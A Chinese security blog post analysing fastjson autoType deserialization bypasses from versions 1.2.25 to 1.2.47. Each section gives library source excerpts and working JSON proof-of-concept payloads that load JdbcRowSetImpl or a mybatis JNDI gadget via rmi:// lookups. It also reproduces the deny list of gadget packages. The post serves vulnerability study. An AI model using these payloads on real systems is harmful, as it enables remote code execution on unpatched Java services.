Fastjson反序列化(三)

Chiexf Lv4

0x00 介绍

从1.2.24之后的版本,都有许多修复跟绕过,跟着网上的文章复现学习一下

0x01 历史版本绕过

fastjson-1.2.25

分析

我们先来看一下1.2.25这个版本是怎么修复的

主要是引入了checkAutoType安全机制,会对要加载的类进行白名单和黑名单限制,并且引入了一个配置参数AutoTypeSupport

默认情况下autoTypeSupport关闭,导致不能直接反序列化任意类

在不开启autoTypeSupport的情况下,会先进行黑名单检测再进行白名单检测

如果在黑名单里,会直接抛出异常

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
//省略部分代码......
if (!autoTypeSupport) {
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}
//省略部分代码......
}

在开启autoTypeSupport的情况下,会先进行白名单检测再进行名单检测

如果在白名单里,会使用TypeUtils.loadClass加载

然后在判断是否在黑名单里,在的会抛出异常

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (typeName == null) {
return null;
}
final String className = typeName.replace('$', '.');
if (autoTypeSupport || expectClass != null) {
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
return TypeUtils.loadClass(typeName, defaultClassLoader);
}
}
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
//省略部分代码......
}

但是,还有一种情况,如果黑白名单里都不存在的话

并且开启了autoTypeSupport或者expectClass不为空的话,也会调用TypeUtils.loadClass加载类

1
2
3
4
5
6
7
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
//省略部分代码......
if (autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
}
//省略部分代码......
}

接着跟一下loadClass ,这个类在加载目标类之前为了兼容带有描述符的类名,使用了递归调用来处理描述符中的**[L;** 字符

那么加上L开头和**;**结尾实际上就可以绕过所有黑名单

1
2
3
4
5
6
7
8
9
10
11
12
public static Class<?> loadClass(String className, ClassLoader classLoader) {
//省略部分代码......
if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}
if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}
//省略部分代码......
}
  • 白名单acceptList
1
AUTO_TYPE_ACCEPT_LIST --> []
  • 黑名单denyList
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel,org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework

POC

JNDI+RMI为例

1
2
3
4
5
6
7
8
9
public class JdbcRowSetImpl {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String s = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\"," +
"\"dataSourceName\":\"rmi://127.0.0.1:8085/CalcTest\"," +
"\"autoCommit\":false}";
JSON.parseObject(s);
}
}

总结

影响版本

1
1.2.25 <= fastjson <= 1.2.41

需开启autoTypeSupport

1
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

@type添加L和**;**绕过

fastjson-1.2.42

分析

1.2.42版本中,fastjson依旧延续黑白名单的检测模式,不过将名单改成Hash值,防止绕过

还是继续关注com.alibaba.fastjson.parser.ParserConfig这个类

checkAutoType中,首先会利用substringL和**;**去掉

不过只删除一次,所以其实可以对描述符双写绕过这个限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
//省略部分代码......
String className = typeName.replace('$', '.');
Class<?> clazz = null;
final long BASIC = 0xcbf29ce484222325L;
final long PRIME = 0x100000001b3L;
if ((((BASIC
^ className.charAt(0))
* PRIME)
^ className.charAt(className.length() - 1))
* PRIME == 0x9198507b5af98f0L)
{
className = className.substring(1, className.length() - 1);
}
//省略部分代码......
}

而且这个类中也给出了Hash算法fnv1a_64,在addDeny中调用,所以还是有机会撞出来的Hash值的

网上也有黑白名单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public void addDeny(String name) {
//省略部分代码......
long hash = TypeUtils.fnv1a_64(name);
//省略部分代码......
}

public static long fnv1a_64(String key){
long hashCode = 0xcbf29ce484222325L;
for(int i = 0; i < key.length(); ++i){
char ch = key.charAt(i);
hashCode ^= ch;
hashCode *= 0x100000001b3L;
}
return hashCode;
}

POC

注:需开启autoTypeSupport

影响版本:1.2.25 <= fastjson <= 1.2.42

1
2
3
4
5
6
7
8
9
public class JdbcRowSetImpl {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String s = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\"," +
"\"dataSourceName\":\"rmi://127.0.0.1:8085/CalcTest\"," +
"\"autoCommit\":false}";
JSON.parseObject(s);
}
}

fastjson-1.2.43

分析

1.2.43的版本中,修复了描述符双写绕过的漏洞

主要还是在com.alibaba.fastjson.parser.ParserConfig.checkAutoType中的判断,修复了多层绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
//省略部分代码......
String className = typeName.replace('$', '.');
Class<?> clazz = null;
final long BASIC = 0xcbf29ce484222325L;
final long PRIME = 0x100000001b3L;
if ((((BASIC
^ className.charAt(0))
* PRIME)
^ className.charAt(className.length() - 1))
* PRIME == 0x9198507b5af98f0L)
{
if ((((BASIC
^ className.charAt(0))
* PRIME)
^ className.charAt(1))
* PRIME == 0x9195c07b5af5345L)
{
throw new JSONException("autoType is not support. " + typeName);
}
// 9195c07b5af5345
className = className.substring(1, className.length() - 1);
}
//省略部分代码......
}

虽然不能双写L和**;绕过了,但是还可以使用[{**绕过

添加第一个**[,变成“@type”:”[com.sun.rowset.JdbcRowSetImpl”**会报错

1
Exception in thread "main" com.alibaba.fastjson.JSONException: exepct '[', but ,, pos 42, json : {"@type":"[com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:8085/CalcTest","autoCommit":false}

42列添加第二个**[,变成@type":"[com.sun.rowset.JdbcRowSetImpl"[**接着报错

1
Exception in thread "main" com.alibaba.fastjson.JSONException: syntax error, expect {, actual string, pos 43, fastjson-version 1.2.43

43列添加**{,变成@type”:”[com.sun.rowset.JdbcRowSetImpl”[{**

成功执行

POC

注:需开启autoTypeSupport

影响版本:1.2.25 <= fastjson <= 1.2.43

1
2
3
4
5
6
7
8
9
public class JdbcRowSetImpl {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String s = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{," +
"\"dataSourceName\":\"rmi://127.0.0.1:8085/CalcTest\"," +
"\"autoCommit\":false}";
JSON.parseObject(s);
}
}

fastjson-1.2.44

这个版本主要是修复了使用 [{ 绕过黑名单防护的问题

com.alibaba.fastjson.parser.ParserConfig.checkAutoType中添加了新的判断,检测到类名以**[**开头直接抛出异常

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
//省略部分代码......
String className = typeName.replace('$', '.');
Class<?> clazz = null;
final long BASIC = 0xcbf29ce484222325L;
final long PRIME = 0x100000001b3L;
final long h1 = (BASIC ^ className.charAt(0)) * PRIME;
if (h1 == 0xaf64164c86024f1aL) { // [
throw new JSONException("autoType is not support. " + typeName);
}
if ((h1 ^ className.charAt(className.length() - 1)) * PRIME == 0x9198507b5af98f0L) {
throw new JSONException("autoType is not support. " + typeName);
}
//省略部分代码......
}

fastjson-1.2.45

增加了黑名单,存在组件漏洞,需要mybatis组件,版本在3.x.x ~ 3.5.0

分析

org.apache.ibatis.datasource.jndi.JndiDataSourceFactory类下有个setProperties方法

在判断中可以得知,只要properties参数中存在data_source,可以调用JNDI,并传入data_source的值

而且也符合setter的要求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public void setProperties(Properties properties) {
try {
InitialContext initCtx;
Properties env = getEnvProperties(properties);
if (env == null) {
initCtx = new InitialContext();
} else {
initCtx = new InitialContext(env);
}
if (properties.containsKey(INITIAL_CONTEXT)
&& properties.containsKey(DATA_SOURCE)) {
Context ctx = (Context) initCtx.lookup(properties.getProperty(INITIAL_CONTEXT));
dataSource = (DataSource) ctx.lookup(properties.getProperty(DATA_SOURCE));
} else if (properties.containsKey(DATA_SOURCE)) {
dataSource = (DataSource) initCtx.lookup(properties.getProperty(DATA_SOURCE));
}
} catch (NamingException e) {
throw new DataSourceException("There was an error configuring JndiDataSourceTransactionPool. Cause: " + e, e);
}
}

POC

注:需开启autoTypeSupport

影响版本:1.2.25 <= fastjson <= 1.2.45

1
2
3
4
5
6
7
8
public class JdbcRowSetImpl {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String s = "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\"," +
"\"properties\":{\"data_source\":\"rmi://127.0.0.1:8085/CalcTest\"}}";
JSON.parseObject(s);
}
}

fastjson-1.2.47

这个Payload能过绕过checkAutoType内的各种检测

主要是通过Fastjson自带的缓存机制将恶意类加载到Mapping中,从而实现绕过

分析

前半——将恶意类写入mapping缓存

还是关注在com.alibaba.fastjson.parser.ParserConfig#checkAutoType

首先我们来看一下autoTypeSupport=false的情况(默认不开启)

autoTypeSupport不开启的情况下,会先跳过checkAutoType中的第一次黑白名单检测

然后在TypeUtils.mappings中和deserializers中尝试查找要反序列化的类,如果找到了,则就会return clazz

这就避开下面autoTypeSupport=false时的检查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
//省略部分代码......
if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);
}
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}
if (clazz != null) {
if (expectClass != null
&& clazz != java.util.HashMap.class
&& !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
//省略部分代码......
}

com.alibaba.fastjson.parser.ParserConfig#initDeserializers中初始化deserializers的时候,会设置很多个类,其中就包括我们需要用到的java.lang.Class

1
2
3
4
private void initDeserializers() {
//省略部分代码......
deserializers.put(Class.class, MiscCodec.instance);
}

重点关注在TypeUtils.getClassFromMapping方法中

mapping中获取类名,下面我们就来看看mapping是在哪里赋值的,寻找mapping.put方法

1
2
3
public static Class<?> getClassFromMapping(String className){
return mappings.get(className);
}

找到是在com.alibaba.fastjson.util.TypeUtils#loadClass方法中

有还几处可以将类加载器加载并存入mappings

也就是说如果我们可以控制参数的话,那么就有机会往mappings中写入任意类名

所以,先找一下哪里调用了loadClass

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
//省略部分代码......
try{
if(classLoader != null){
clazz = classLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch(Throwable e){
e.printStackTrace();
// skip
}
try{
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
if(contextClassLoader != null && contextClassLoader != classLoader){
clazz = contextClassLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch(Throwable e){
// skip
}
try{
clazz = Class.forName(className);
mappings.put(className, clazz);
return clazz;
} catch(Throwable e){
// skip
}
return clazz;
}

可以看到在com.alibaba.fastjson.serializer.MiscCodec#deserialze

clazz == Class.class成立时会调用loadClass

clazz我们可以使用**@type传入,而strVal为我们需要的className**

可以看到strValobjVal有关,是强转赋值的

objVal是在parser.parse()中截取而来,且参数名必须为val

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public <T> T deserialze(DefaultJSONParser parser, Type clazz, Object fieldName) {
//省略部分代码......
Object objVal;
if (parser.resolveStatus == DefaultJSONParser.TypeNameRedirect) {
parser.resolveStatus = DefaultJSONParser.NONE;
parser.accept(JSONToken.COMMA);
if (lexer.token() == JSONToken.LITERAL_STRING) {
if (!"val".equals(lexer.stringVal())) {
throw new JSONException("syntax error");
}
lexer.nextToken();
} //省略部分代码......
objVal = parser.parse();
//省略部分代码......
} else {
objVal = parser.parse();
}
//省略部分代码......
String strVal;
if (objVal == null) {
strVal = null;
} else if (objVal instanceof String) {
strVal = (String) objVal;
}
//省略部分代码......
if (clazz == Class.class) {
return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
}
//省略部分代码......
}

反过来看一下com.alibaba.fastjson.serializer.MiscCodec这个类

是一个序列化器和反序列化器

1
public class MiscCodec implements ObjectSerializer, ObjectDeserializer

后半——从mapping中加载恶意类

当我们第二次进入checkAutoType()的时候,就会从mapping中获取恶意类

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class JdbcRowSetImpl {
public static void main(String[] args) {
// ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String s = "{" +
"\"1\":" +
"{\"@type\":\"java.lang.Class\"," +
"\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}," +
"\"2\":" +
"{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
"\"dataSourceName\":\"rmi://127.0.0.1:8085/CalcTest\"," +
"\"autoCommit\":false}" +
" }";
JSON.parseObject(s);
}
}

影响范围

1.2.25 <= fastjson <= 1.2.47

  • autoTypeSupport == false可利用

1.2.33 <= fastjson <= 1.2.47

  • 不论autoTypeSupport == true/false都可利用

autoTypeSupport 的原因还是在com.alibaba.fastjson.parser.ParserConfig#checkAutoType

当开启autoTypeSupport后,黑白名单的if判断语句有差异

1.2.33版本后,多了句TypeUtils.getClassFromMapping(typeName) == null,导致不会抛出异常

1
2
3
4
5
// 受AutoTypeSupport影响的版本
if (className.startsWith(deny)) {

// 不受AutoTypeSupport影响的版本
if (className.startsWith(deny) && TypeUtils.getClassFromMapping(typeName) == null)

fastjson——1.2.68

0x03 参考资料

https://goodapple.top/archives/832

https://drun1baby.top/2022/08/04/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Fastjson%E7%AF%8701-Fastjson%E5%9F%BA%E7%A1%80/#Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-Fastjson-%E7%AF%87-01-Fastjson-%E5%9F%BA%E7%A1%80

https://meizjm3i.github.io/2019/06/05/FastJson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E8%A7%A3%E6%9E%90%E6%B5%81%E7%A8%8B/